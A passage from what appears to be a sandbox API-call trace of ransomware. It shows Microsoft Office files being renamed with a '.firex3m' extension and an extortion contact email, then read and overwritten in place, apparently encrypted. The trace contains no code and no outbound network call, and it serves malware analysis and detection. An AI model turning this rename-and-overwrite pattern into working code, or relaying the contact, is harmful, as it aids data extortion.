Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0129.505] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0129.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVLP.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVLP~1.FIR")) returned 0x6d4ec0 [0129.506] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0129.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0129.506] GetProcessHeap () returned 0x630000 [0129.506] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f7a348 [0129.507] GetProcessHeap () returned 0x630000 [0129.507] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f85778 [0129.507] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.507] ReadFile (in: hFile=0x6d8, lpBuffer=0x6f7a348, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7a348*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.198] GetProcessHeap () returned 0x630000 [0136.199] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0136.199] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.199] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f85778*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f85778*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0136.199] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.199] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f90b77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f90b77*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0137.892] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.892] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0137.892] CloseHandle (hObject=0x6d8) returned 1 [0138.083] GetProcessHeap () returned 0x630000 [0138.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f85778 | out: hHeap=0x630000) returned 1 [0138.083] GetProcessHeap () returned 0x630000 [0138.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f7a348 | out: hHeap=0x630000) returned 1 [0138.083] GetProcessHeap () returned 0x630000 [0138.083] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0138.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1841bf3c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x69654, dwReserved0=0x9207496, dwReserved1=0x6f7a340, cFileName="AppVLP.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPVLP~1.FIR")) returned 0x6d4f40 [0138.084] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0138.084] Sleep (dwMilliseconds=0x1) [0139.601] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx", len=0x5b | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx") returned 1 [0139.601] GetProcessHeap () returned 0x630000 [0139.601] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x19fc) returned 0x72b0508 [0139.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0139.601] CloseHandle (hObject=0x710) returned 1 [0139.601] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0139.602] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0139.602] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0139.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11436ace, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56208, dwReserved0=0x24000024, dwReserved1=0x650064, cFileName="Grunge Texture.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRUNGE~1.FIR")) returned 0x6d5240 [0139.602] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0139.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\grunge texture.eftx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0139.603] GetProcessHeap () returned 0x630000 [0139.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7219758 [0139.603] GetProcessHeap () returned 0x630000 [0139.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x714c008 [0139.603] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.603] ReadFile (in: hFile=0x710, lpBuffer=0x7219758, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7219758*, lpNumberOfBytesRead=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.600] GetProcessHeap () returned 0x630000 [0142.600] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0142.600] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.600] WriteFile (in: hFile=0x710, lpBuffer=0x714c008*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c008*, lpNumberOfBytesWritten=0x60fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0142.600] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.600] WriteFile (in: hFile=0x710, lpBuffer=0x7157407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157407*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0142.603] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.603] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0142.603] CloseHandle (hObject=0x710) returned 1 [0142.603] GetProcessHeap () returned 0x630000 [0142.603] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714c008 | out: hHeap=0x630000) returned 1 [0142.606] GetProcessHeap () returned 0x630000 [0142.606] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7219758 | out: hHeap=0x630000) returned 1 [0142.607] GetProcessHeap () returned 0x630000 [0142.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0142.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Grunge Texture.eftx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11436ace, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1af2c65a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5622c, dwReserved0=0x9207496, dwReserved1=0x7219750, cFileName="Grunge Texture.eftx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRUNGE~1.FIR")) returned 0x6d5540 [0142.607] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0142.607] Sleep (dwMilliseconds=0x1) [0142.614] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms", len=0x4f | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms") returned 1 [0142.615] GetProcessHeap () returned 0x630000 [0142.615] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x22d0) returned 0x7203db8 [0142.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0142.822] CloseHandle (hObject=0x6cc) returned 1 [0142.849] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.849] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0142.850] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0142.850] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1db7b8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb1db7b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb29a366, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d4c, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="PublisherVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PUBLIS~1.FIR")) returned 0x6d5200 [0142.851] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0142.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publishervl_mak-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0142.851] GetProcessHeap () returned 0x630000 [0142.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x72bfb28 [0142.851] GetProcessHeap () returned 0x630000 [0142.851] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2d61) returned 0x6ec0048 [0142.852] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.852] ReadFile (in: hFile=0x6cc, lpBuffer=0x72bfb28, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72bfb28*, lpNumberOfBytesRead=0x60fff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0143.460] GetProcessHeap () returned 0x630000 [0143.461] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0143.461] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.461] WriteFile (in: hFile=0x6cc, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x60fff0c*=0x2d40, lpOverlapped=0x0) returned 1 [0143.461] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.461] WriteFile (in: hFile=0x6cc, lpBuffer=0x6ec2d87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec2d87*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0143.461] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.461] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0143.461] CloseHandle (hObject=0x6cc) returned 1 [0143.646] GetProcessHeap () returned 0x630000 [0143.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0143.646] GetProcessHeap () returned 0x630000 [0143.646] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72bfb28 | out: hHeap=0x630000) returned 1 [0143.648] GetProcessHeap () returned 0x630000 [0143.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0143.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeb1db7b8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb1db7b8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b75e601, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2d70, dwReserved0=0x9207496, dwReserved1=0x72bfb20, cFileName="PublisherVL_MAK-ul-oob.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PUBLIS~1.FIR")) returned 0x6d5000 [0143.861] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0143.861] Sleep (dwMilliseconds=0x1) [0143.871] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK", len=0x44 | out: pbstr=0x60fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK") returned 1 [0143.871] GetProcessHeap () returned 0x630000 [0143.871] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2690) returned 0x71f7c78 [0143.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0145.435] CloseHandle (hObject=0x3f8) returned 1 [0145.435] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0145.435] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0146.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffc6c | out: lpFindFileData=0x60ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a05f3c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~1.FIR")) returned 0x6d4f40 [0146.940] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0146.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\graph_k_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0146.940] GetProcessHeap () returned 0x630000 [0146.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4628 [0146.940] GetProcessHeap () returned 0x630000 [0146.940] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4d78 [0146.940] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.940] ReadFile (in: hFile=0x3f8, lpBuffer=0x6a4628, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4628*, lpNumberOfBytesRead=0x60fff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.942] GetProcessHeap () returned 0x630000 [0146.942] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0146.942] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] WriteFile (in: hFile=0x3f8, lpBuffer=0x6a4d78*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4d78*, lpNumberOfBytesWritten=0x60fff0c*=0x60, lpOverlapped=0x0) returned 1 [0146.942] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] WriteFile (in: hFile=0x3f8, lpBuffer=0x6a4dd7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a4dd7*, lpNumberOfBytesWritten=0x60fff0c*=0x20, lpOverlapped=0x0) returned 1 [0146.942] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.942] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x60fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x60fff0c*=0x4, lpOverlapped=0x0) returned 1 [0146.942] CloseHandle (hObject=0x3f8) returned 1 [0146.942] GetProcessHeap () returned 0x630000 [0146.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4d78 | out: hHeap=0x630000) returned 1 [0146.942] GetProcessHeap () returned 0x630000 [0146.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a4628 | out: hHeap=0x630000) returned 1 [0146.942] GetProcessHeap () returned 0x630000 [0146.942] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0146.942] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x60fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0146.943] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GRAPH_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x60ffcc4 | out: lpFindFileData=0x60ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9a05f3c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9a05f3c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1d88000a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x60ffd20, dwReserved1=0x6a4628, cFileName="GRAPH_K_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="GRAPH_~1.FIR")) returned 0x6d5280 [0146.943] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0146.943] Sleep (dwMilliseconds=0x1) [0148.105] SysReAllocStringLen (in: pbstr=0x60fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LGND.VSL", len=0x3d | out: 